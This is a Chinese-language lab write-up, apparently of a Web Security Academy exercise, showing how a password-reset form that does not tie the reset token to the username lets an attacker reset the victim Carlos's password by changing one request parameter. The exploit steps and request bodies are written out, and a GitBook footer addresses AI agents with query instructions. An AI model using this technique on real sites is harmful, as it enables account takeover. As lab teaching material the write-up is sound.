> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/authentication/flawed-password-reset-logic.md).

# 密码重置中的有缺陷逻辑

### 密码重置逻辑缺陷

实验室展示了密码重置机制中的一个漏洞。目标是为 **Carlos** 重置密码，然后访问其“我的账户”页面。/ 提供的标识符：

* **wiener:peter**
* 受害者姓名： **carlos**

### 分析与步骤

#### 1. 忘记密码功能

该应用程序通过“忘记密码”提供了恢复功能。

<figure><img src="/files/816de2332de1e6e49f64c689b825d4f063603a6b" alt="" width="436"><figcaption></figcaption></figure>

在此部分可以更改与账户关联的电子邮件地址

<figure><img src="/files/9f7351e35cd48d0a9d8ae0bddd6e3ebf5d16427e" alt="" width="563"><figcaption></figcaption></figure>

#### 2. 接收重置邮件

<figure><img src="/files/bc5a5f6f0680e38eb699f7b2f28c2c9df5c1093d" alt=""><figcaption></figcaption></figure>

一旦电子邮件被更改，就会发送一条包含重置链接的消息。/ 该邮件包含一个临时 **令牌** 在 URL 中：

```http
发送时间：2025-12-09 19:42:17 +0000
发件人："No reply" <no-reply@0ae200710383c04f868b0866005e0000.web-security-academy.net>
收件人：wiener@exploit-0a46000003d9c0a086ee072901710023.exploit-server.net
主题：账户恢复

您好！

请点击下面的链接来重置您的密码。

https://0ae200710383c04f868b0866005e0000.web-security-academy.net/forgot-password?temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj

谢谢，
支持团队
```

#### 3. 提交表单

通过访问此链接，应用程序会要求输入新密码。/ 发送的参数类似于：

```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=wiener
new-password-1=test
new-password-2=test
```

<figure><img src="/files/fb6207049aa8b643f3a812e8990c5faacef3c3cc" alt=""><figcaption></figcaption></figure>

#### 4. 利用缺陷逻辑

服务器没有检查 **不** 令牌是否 वास्तव际上与查询中提到的用户匹配。/ 只需将字段 **username=wiener** 替换为 **username=carlos**:

```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=carlos
new-password-1=test
new-password-2=test
```

应用程序接受了该请求，从而可以为 Carlos 设置新密码。

<figure><img src="/files/17b3834aad073681e6a91e98a9fa4ad212629826" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/authentication/flawed-password-reset-logic.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.